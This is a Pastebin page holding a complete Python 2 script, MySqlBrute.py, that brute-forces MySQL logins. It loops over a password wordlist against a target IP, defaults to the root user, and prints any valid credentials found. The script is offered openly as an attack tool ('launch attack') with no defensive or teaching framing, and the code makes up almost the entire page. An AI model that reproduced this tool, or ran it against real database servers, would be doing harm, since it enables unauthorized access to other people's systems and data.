Advertisement
parkdream1

MySqlBrute.Py

Jul 6th, 2013
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.31 KB | None | 0 0
  1.    
  2.  
  3.     #!/usr/bin/python
  4.     #
  5.     # simple mysql bruter
  6.      
  7.     import time
  8.     import sys
  9.     import argparse
  10.     import MySQLdb
  11.     from datetime import datetime
  12.      
  13.     def mysql_brute(ip,username,passlist):
  14.            
  15.             valid = False
  16.             counter = 0
  17.             starttime = datetime.now()
  18.             with open(passlist) as pl:
  19.                     for pwd in pl:
  20.                             counter += 1
  21.                             try:
  22.                                     pwd = pwd.rstrip()
  23.                                     connect = MySQLdb.connect(host=ip, user=username, passwd=pwd)
  24.                                     if connect:
  25.                                             valid = True
  26.                                             print "\n[+] VALID CREDENTIALS FOUND!! %s / %s"  % (username,pwd)
  27.                                             print "[+] MySQL Version %s" % MySQLdb.get_client_info().rstrip()
  28.                                             connect.close()
  29.                                             time.sleep(1)
  30.                                             break
  31.                             except MySQLdb.Error, e:
  32.                                     print "[-] FAILED!! %s / %s" % (username,pwd)
  33.                                     time.sleep(1)
  34.                                    
  35.             # show stats
  36.             runtime = datetime.now()-starttime
  37.             print "\n[+] Checked %s passwords in %s" % (counter,runtime)
  38.                                    
  39.             if valid == False:
  40.                     print "\n[-] No valid credentials found. Exiting...\n"
  41.                     sys.exit(1)
  42.             else:
  43.                     print "\n[+] Finished. Valid credentials found. Exiting...\n"
  44.                     sys.exit(1)
  45.      
  46.     if __name__ == '__main__':
  47.            
  48.             try:
  49.                     # program arguments
  50.                     parser = argparse.ArgumentParser(description="MySQL Bruter")
  51.                     parser.add_argument('-i', action="store", dest="ip", help="Target IP address")
  52.                     parser.add_argument('-u', action="store", dest="username", help="MySQL username (default root)")
  53.                     parser.add_argument('-p', action="store", dest="passlist", help="Path to password list")
  54.                     parser.add_argument('-v', action='version', version='%(prog)s 1.0 - Matt Jones')
  55.                     args = parser.parse_args()
  56.                    
  57.                     if not args.ip or not args.passlist:
  58.                             print "\nFor help run ./mysqlbrute.py -h\n"
  59.                     else:
  60.                             ip = args.ip
  61.                             # if no username default to root
  62.                             if args.username:
  63.                                     username = args.username
  64.                             else:
  65.                                     username = 'root'
  66.                             passlist = args.passlist
  67.      
  68.                             # launch attack
  69.                             print "\n[+] Bruteforcing host %s\n" % ip
  70.                             mysql_brute(ip,username,passlist)                              
  71.            
  72.             except KeyboardInterrupt:      
  73.                     print "\n[+] Quiting\n"
  74.                     sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement